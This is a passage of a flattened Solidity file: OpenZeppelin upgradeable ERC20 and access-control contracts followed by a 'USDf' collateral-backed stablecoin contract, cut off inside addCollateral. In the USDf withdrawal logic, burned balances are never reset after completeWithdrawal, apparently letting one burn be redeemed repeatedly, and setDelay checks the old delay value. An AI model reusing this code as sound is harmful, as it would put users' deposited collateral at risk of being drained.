pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
uint256[49] private __gap;
}
// File: @chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: contracts/gaia/usdf.sol
pragma solidity ^0.6.0;
interface TwapOracle {
function update() external;
function consult(address token, uint amountIn) external view returns (uint amountOut);
function changePeriod(uint256 seconds_) external;
}
interface IGaia {
function burn(address from, uint256 amount) external;
function mint(address to, uint256 amount) external;
}
contract USDf is ERC20UpgradeSafe, OwnableUpgradeSafe, ReentrancyGuardUpgradeSafe {
using SafeMath for uint256;
uint256 constant public MAX_RESERVE_RATIO = 100 * 10 ** 9;
uint256 private constant DECIMALS = 9;
uint256 public lastRefreshReserve;
uint256 public minimumRefreshTime;
uint256 public gaiaDecimals;
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 public minimumReserveRate;
uint256 private _totalSupply;
uint256 public mintFee;
uint256 public withdrawFee;
uint256 public minimumDelay; // how long a user must wait between actions
uint256 public MIN_RESERVE_RATIO;
uint256 public reserveRatio;
address public gaia;
address public synthOracle;
address public gaiaOracle;
address public usdcAddress;
address[] collateralArray;
AggregatorV3Interface internal usdcPrice;
mapping(address => uint256) private _synthBalance;
mapping(address => uint256) private _lastAction;
mapping (address => mapping (address => uint256)) private _allowedSynth;
mapping (address => bool) public acceptedCollateral;
mapping (address => uint256) public collateralDecimals;
mapping (address => address) public collateralOracle;
mapping (address => bool) public seenCollateral;
mapping (address => uint256) public burnedSynth;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
modifier sync() {
if (_totalSupply > 0) {
updateOracles();
if (now - lastRefreshReserve >= minimumRefreshTime) {
TwapOracle(gaiaOracle).update();
TwapOracle(synthOracle).update();
if (getSynthOracle() > 1 * 10 ** 9) {
setReserveRatio(reserveRatio.sub(5 * 10 ** 8));
} else {
setReserveRatio(reserveRatio.add(5 * 10 ** 8));
}
lastRefreshReserve = now;
}
}
_;
}
event NewReserveRate(uint256 reserveRatio);
event Mint(address gaia, address receiver, address collateral, uint256 collateralAmount, uint256 gaiaAmount, uint256 synthAmount);
event Withdraw(address gaia, address receiver, address collateral, uint256 collateralAmount, uint256 gaiaAmount, uint256 synthAmount);
event NewMinimumRefreshTime(uint256 minimumRefreshTime);
event MintFee(uint256 fee_);
event WithdrawFee(uint256 fee_);
// constructor ============================================================
function initialize(address gaia_, uint256 gaiaDecimals_, address usdcAddress_, address usdcOracleChainLink_) public initializer {
OwnableUpgradeSafe.__Ownable_init();
ReentrancyGuardUpgradeSafe.__ReentrancyGuard_init();
ERC20UpgradeSafe.__ERC20_init('USDf', 'USDf');
ERC20UpgradeSafe._setupDecimals(9);
gaia = gaia_;
minimumRefreshTime = 3600 * 1; // 1 hours by default
minimumDelay = minimumRefreshTime; // minimum delay must >= minimum refresh time
gaiaDecimals = gaiaDecimals_;
usdcPrice = AggregatorV3Interface(usdcOracleChainLink_);
minimumReserveRate = 50 * 10 ** 9;
usdcAddress = usdcAddress_;
reserveRatio = 100 * 10 ** 9; // 100% reserve at first
_totalSupply = 0;
}
// public view functions ============================================================
function getCollateralByIndex(uint256 index_) external view returns (address) {
return collateralArray[index_];
}
function getCollateralUsd(address collateral_) public view returns (uint256) {
// price is $Y / USD (10 ** 8 decimals)
( , int price, , uint timeStamp, ) = usdcPrice.latestRoundData();
require(timeStamp > 0, "Rounds not complete");
if (address(collateral_) == address(usdcAddress)) {
return uint256(price).mul(10 ** 10);
} else {
return uint256(price).mul(10 ** 10).div((TwapOracle(collateralOracle[collateral_]).consult(usdcAddress, 10 ** 6)).mul(10 ** 9).div(10 ** collateralDecimals[collateral_]));
}
}
function globalCollateralValue() public view returns (uint256) {
uint256 totalCollateralUsd = 0;
for (uint i = 0; i < collateralArray.length; i++){
// Exclude null addresses
if (collateralArray[i] != address(0)){
totalCollateralUsd += IERC20(collateralArray[i]).balanceOf(address(this)).mul(10 ** 9).div(10 ** collateralDecimals[collateralArray[i]]).mul(getCollateralUsd(collateralArray[i])).div(10 ** 9); // add stablecoin balance
}
}
return totalCollateralUsd;
}
function usdfInfo() public view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
return (
_totalSupply,
reserveRatio,
globalCollateralValue(),
mintFee,
withdrawFee,
minimumDelay
);
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address who) public override view returns (uint256) {
return _synthBalance[who];
}
function allowance(address owner_, address spender) public override view returns (uint256) {
return _allowedSynth[owner_][spender];
}
function getGaiaOracle() public view returns (uint256) {
uint256 gaiaTWAP = TwapOracle(gaiaOracle).consult(address(this), 1 * 10 ** 9);
uint256 usdfOraclePrice = getSynthOracle();
return uint256(usdfOraclePrice).mul(10 ** DECIMALS).div(gaiaTWAP);
}
function getSynthOracle() public view returns (uint256) {
uint256 synthTWAP = TwapOracle(synthOracle).consult(usdcAddress, 1 * 10 ** 6);
( , int price, , uint timeStamp, ) = usdcPrice.latestRoundData();
require(timeStamp > 0, "rounds not complete");
return uint256(price).mul(10).mul(10 ** DECIMALS).div(synthTWAP);
}
function consultSynthRatio(uint256 synthAmount, address collateral) public view returns (uint256, uint256) {
require(synthAmount != 0, "must use valid USDf amount");
require(seenCollateral[collateral], "must be seen collateral");
uint256 collateralAmount = synthAmount.mul(reserveRatio).div(MAX_RESERVE_RATIO).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);
if (_totalSupply == 0) {
return (collateralAmount, 0);
} else {
collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral)); // get real time price
uint256 gaiaUsd = getGaiaOracle();
uint256 synthPrice = getSynthOracle();
uint256 synthPart2 = synthAmount.mul(MAX_RESERVE_RATIO.sub(reserveRatio)).div(MAX_RESERVE_RATIO);
uint256 gaiaAmount = synthPart2.mul(synthPrice).div(gaiaUsd);
return (collateralAmount, gaiaAmount);
}
}
// public functions ============================================================
function updateOracles() public {
for (uint i = 0; i < collateralArray.length; i++) {
if (acceptedCollateral[collateralArray[i]]) TwapOracle(collateralOracle[collateralArray[i]]).update();
}
}
function transfer(address to, uint256 value) public override validRecipient(to) sync() returns (bool) {
_synthBalance[msg.sender] = _synthBalance[msg.sender].sub(value);
_synthBalance[to] = _synthBalance[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public override validRecipient(to) sync() returns (bool) {
_allowedSynth[from][msg.sender] = _allowedSynth[from][msg.sender].sub(value);
_synthBalance[from] = _synthBalance[from].sub(value);
_synthBalance[to] = _synthBalance[to].add(value);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public override sync() returns (bool) {
_allowedSynth[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) {
_allowedSynth[msg.sender][spender] = _allowedSynth[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedSynth[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) {
uint256 oldValue = _allowedSynth[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedSynth[msg.sender][spender] = 0;
} else {
_allowedSynth[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedSynth[msg.sender][spender]);
return true;
}
function mint(uint256 synthAmount, address collateral) public nonReentrant sync() {
require(acceptedCollateral[collateral], "must be an accepted collateral");
(uint256 collateralAmount, uint256 gaiaAmount) = consultSynthRatio(synthAmount, collateral);
require(collateralAmount <= IERC20(collateral).balanceOf(msg.sender), "sender has insufficient collateral balance");
require(gaiaAmount <= IERC20(gaia).balanceOf(msg.sender), "sender has insufficient gaia balance");
SafeERC20.safeTransferFrom(IERC20(collateral), msg.sender, address(this), collateralAmount);
if (gaiaAmount != 0) IGaia(gaia).burn(msg.sender, gaiaAmount);
synthAmount = synthAmount.sub(synthAmount.mul(mintFee).div(100 * 10 ** DECIMALS));
_totalSupply = _totalSupply.add(synthAmount);
_synthBalance[msg.sender] = _synthBalance[msg.sender].add(synthAmount);
_lastAction[msg.sender] = now;
emit Transfer(address(0x0), msg.sender, synthAmount);
emit Mint(gaia, msg.sender, collateral, collateralAmount, gaiaAmount, synthAmount);
}
function withdraw(uint256 synthAmount) public nonReentrant sync() {
require(synthAmount <= _synthBalance[msg.sender], "insufficient balance");
_totalSupply = _totalSupply.sub(synthAmount);
_synthBalance[msg.sender] = _synthBalance[msg.sender].sub(synthAmount);
// record keeping
burnedSynth[msg.sender] = burnedSynth[msg.sender].add(synthAmount);
_lastAction[msg.sender] = now;
emit Transfer(msg.sender, address(0x0), synthAmount);
}
function completeWithdrawal(address collateral) public nonReentrant sync() {
require(now.sub(_lastAction[msg.sender]) > minimumDelay, "action too soon");
require(seenCollateral[collateral], "must be seen collateral");
uint256 synthAmount = burnedSynth[msg.sender];
require(synthAmount != 0, "must have a valid amount of burned USDf");
(uint256 collateralAmount, uint256 gaiaAmount) = consultSynthRatio(synthAmount, collateral);
collateralAmount = collateralAmount.sub(collateralAmount.mul(withdrawFee).div(100 * 10 ** DECIMALS));
gaiaAmount = gaiaAmount.sub(gaiaAmount.mul(withdrawFee).div(100 * 10 ** DECIMALS));
require(collateralAmount <= IERC20(collateral).balanceOf(address(this)), "insufficient collateral reserves - try another collateral");
SafeERC20.safeTransfer(IERC20(collateral), msg.sender, collateralAmount);
if (gaiaAmount != 0) IGaia(gaia).mint(msg.sender, gaiaAmount);
_lastAction[msg.sender] = now;
emit Withdraw(gaia, msg.sender, collateral, collateralAmount, gaiaAmount, synthAmount);
}
// governance functions ============================================================
function setDelay(uint256 val_) external onlyOwner {
require(minimumDelay >= minimumRefreshTime);
minimumDelay = val_;
}
// function used to add
function addCollateral(address collateral_, uint256 collateralDecimal_, address oracleAddress_) external onlyOwner {
collateralArray.push(collateral_);
acceptedCollateral[collateral_] = true;
seenCollateral[collateral_] = true;
collateralDecimals[collateral_] = collateralDecimal_;
